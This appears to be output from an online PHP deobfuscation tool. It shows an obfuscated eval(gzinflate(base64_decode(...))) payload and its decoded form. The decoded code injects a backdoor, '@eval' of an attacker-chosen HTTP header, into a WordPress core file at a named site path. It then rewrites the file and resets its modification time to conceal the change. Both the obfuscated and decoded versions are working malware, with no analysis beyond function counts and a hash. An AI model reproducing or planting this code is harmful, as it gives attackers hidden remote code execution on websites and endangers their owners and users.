Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wpUgNGpryGCA08aEwSGl5pdAQmKYoOE4T4thR4kCSaf99..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo3OToiL2hvbWUvcGxhdG5lL3NlcndlcjIwODQ3L3B1YmxpY19odG1sL21lZGlhY29uY2VwdC5jb20ucGwvd3AtaW5jbHVkZXMvcGx1Z2luLnBocCI7aToxO3M6NzoiQTFCQzJBNyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0ExQkMyQTcnXSk7IjtpOjM7czozNjoifl5ccypmdW5jdGlvblxzK2FkZF9maWx0ZXJbXlx7XStce35tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wpUgNGpryGCA08aEwSGl5pdAQmKYoOE4T4thR4kCSaf99Dg2FbpU2K1Ku7XPPPee4Xou8aECJa9jYd2yGxNvNikpzwqL5/q4DC6rOV9SfKN5ht34+QC3zHK2FJ+oMQ+JguB8f5990daL25U2YRRu5Sx1NTiaKjLca9jZKN90oxtEZtPY7RUqhdjw46h2z13x/bwRbc1pyylsFpxPSp3Aw7tgrms3VaXtWUF9fjQZ68dCf5afzvDyfFuP2OOhjJxwlj4Mn91kylkZgLNe5MzZGT7opDTM9mOb6ChJzGXTG+9LLtPRSzPbUd3ELwjwKHa7B0fBhh7PiURkF21E3tNeZtDUfdibOOuaSQaS2GO/v3ja+1mtuSiDzKQF/RiYkKG6An/VavQb4wn7CgCi4KcYLm3lNICR5wlA4JAdeQ+og/otsxlBMGqAHUsL7fU5WIHFnJ6j9xXJQCXslLkeXtEJC0xgi3uD6GFkviFmQEoYISy7DzmDfBWLCYv6JVd+1jAa46XEaGyfopBtUK0YsjUlF8evCdBPF6MUKbQY98ay8CS7EpxuUNP5JJhB0XJ5tcHFWjCJsQ+60ovgu/agyAp/B4n5hDecTXr2/fp37kdU3+vdue//tViizDZkfnnM+1Vf5gk9AlqqelGCfBH+Hf3qfKP3ofZpXEZzhjKZlrleQt8ElhCv7DQ==")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 700fbc838f8330896d174bb60d85c46e
Eval Count 1
Decode Time 63 ms